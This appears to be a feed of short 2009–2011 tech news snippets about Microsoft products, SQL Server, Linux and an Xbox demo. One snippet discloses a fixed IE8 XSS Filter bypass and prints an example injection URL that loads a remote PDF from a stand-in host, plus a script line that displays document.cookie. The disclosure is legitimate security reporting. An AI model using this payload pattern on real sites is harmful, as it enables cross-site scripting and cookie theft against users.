Anith Gopal

Wishing a very happy and blessed New Year to you in advance! A new release of Microsoft All-In-One Code Framework is available on December 29th.  We expect that its 11 new code samples covering typical programming scenarios in Windows Phone 7, ASP.NET, WPF, Windows Shell, and WDK would ease your development in the coming New Year.

After several months in public beta , WebMatrix will officially release to the web this Thursday, January 13 th , 2011 .  What is WebMatrix? WebMatrix is a free offering that provides everything you need to build Web sites using Windows.  It streamlines Web site development and makes it easy to start Web sites from popular ASP.NET and PHP open-source apps.  It includes IIS Express (a development Web server), ASP.NET Web Pages (a scripting friendly Web framework), and SQL Server Compact…( read more )

SQL Server 2008 R2 gets an official date http://blogs.technet.com/dataplatforminsider/archive/2010/01/19/sql-server-2008-r2-gets-an-official-date.aspx SQL Server 2008 R2 gets May release date http://www.infoworld.com/d/applications/sql-server-2008-r2-gets-may-release-date-497?source=rss_infoworld_news Get the SQL Server 2008 R2 November CTP and Self-Service BI Downloads http://www.microsoft.com/sqlserver/2008/en/us/R2.aspx SQL Server 2008 R2 Books Online (November CTP) What’s New (SQL Server 2008…( read more )

It’s the moment we’ve all been waiting for. Today, Apple officially launches the latest milestone update to its Mac OS X operating system

This post is a reminder that we have no change in status to report with respect to dates, etc.  The previous post is still accurate: http://blogs.technet.com/stbnewsbytes/archive/2009/03/24/identity-lifecycle-manager-2-schedule-update.aspx

In a break from the ordinary, Microsoft released 20,000 lines of device driver code to the Linux community. Read presspass [Network World] Microsoft stuns Linux world, submits source code for kernel

The largest and oldest news organization in the world, The Associated Press, is partnering with Microsoft to build its Editor’s Workbench application with Office and Sharepoint.

Gettinther announced that build 3.7…a developer environment snapshot intended as proof of concept…has been released.  This is an unofficial release…It’s stable…but we consider it not even an alpha quality release…mainly because it is being used as a proof of concept to show the new technologies we’ve integrated.  Gettinther wanted to have a bit larger test base for this release so he announced this in the forum only…but I figured that it would be nice to flash it to our Planet Unity readers. The full announcement is in the forum here: http://forum.unity-linux.org/general-news-and-announcements/release-3-7-out Gettinther advises, “It’s still rough around the corners so please excuse us for it.

Cross Reference ITIL® V3 and MOF 4.0 and Using MOF for ISO/IEC 20000 The MOF team has released a new series of framework comparison companion guides. Download them now: Download— Cross Reference ITIL® V3 and MOF 4.0 Download— Using MOF for ISO/IEC 20000 The MOF team continues to extend MOF’s core content with the release of new companion guides that address the challenges facing today’s IT pros. This latest series of companion guides focuses on framework comparisons

In slow economic times, it is often hard for customers to justify upgrading technology when they cannot easily identify specific benefits they will enjoy as a result of the upgrade.  For those Microsoft Dynamics GP customers who haven’t yet upgraded to SQL Server 2008, I think you may find the results of our recent Performance Benchmark tests to be reason enough to make the jump! In the latest test results utilizing a very large sample Microsoft Dynamics GP database, the application showed an 18% increase in performance through upgrading from SQL Server 2005 Enterprise Edition to SQL Server 2008 Enterprise edition when using Row Compression.

Credit goes to Alex “Kuza55″ Kouzemtchenko for identifying a weakness in the XSS Filter OBJECT tag heuristic.  The original heuristic failed to properly sanitize OBJECT tags with the DATA attribute set.  Alex found that it is possible to use the DATA attribute to instantiate the PDF handler, then reference content to be loaded using a PARAM element.  This would load a remote PDF that would execute script in the context of the hosting page, effectively enabling XSS. Example: http://site.tld/foo.asp?FName=<object%20data=anything_at_all.pdf><param%20name=src%20value=http://othersite.tld/xss.pdf%20></param></object> The PDF proof-of-concept contained: getURL(“vbscript:MsgBox document.cookie”); Thanks to Alex, we were able to address this bug for the IE8 final release

Get ready to lace up your gloves and dish out a beating in EA’s Fight Night Round 4 demo, available now for download exclusively for Xbox LIVE Gold members from May 28th-June 4th. Fight as either Ricky Hatton or Manny Pacquiao in a three round bout, or, in other words, one round longer than Hatton lasted in his devastating May 2nd defeat against “Pac Man.” The demo also includes offline multiplayer support, so you can pound on your in-house buddies and family members, working them over with jackhammer straights and thundering hooks and uppercuts, so as to gain full value from Round 4′s prodigious physics-based gameplay and damage-modeling. It’s also worth noting that the demo begins with an outstanding “what’s new,” montage, bringing you nicely up to speed on what you can expect from the full version when it releases June 30th. After the montage, you can work through a tutorial so you don’t embarrass yourself in the ring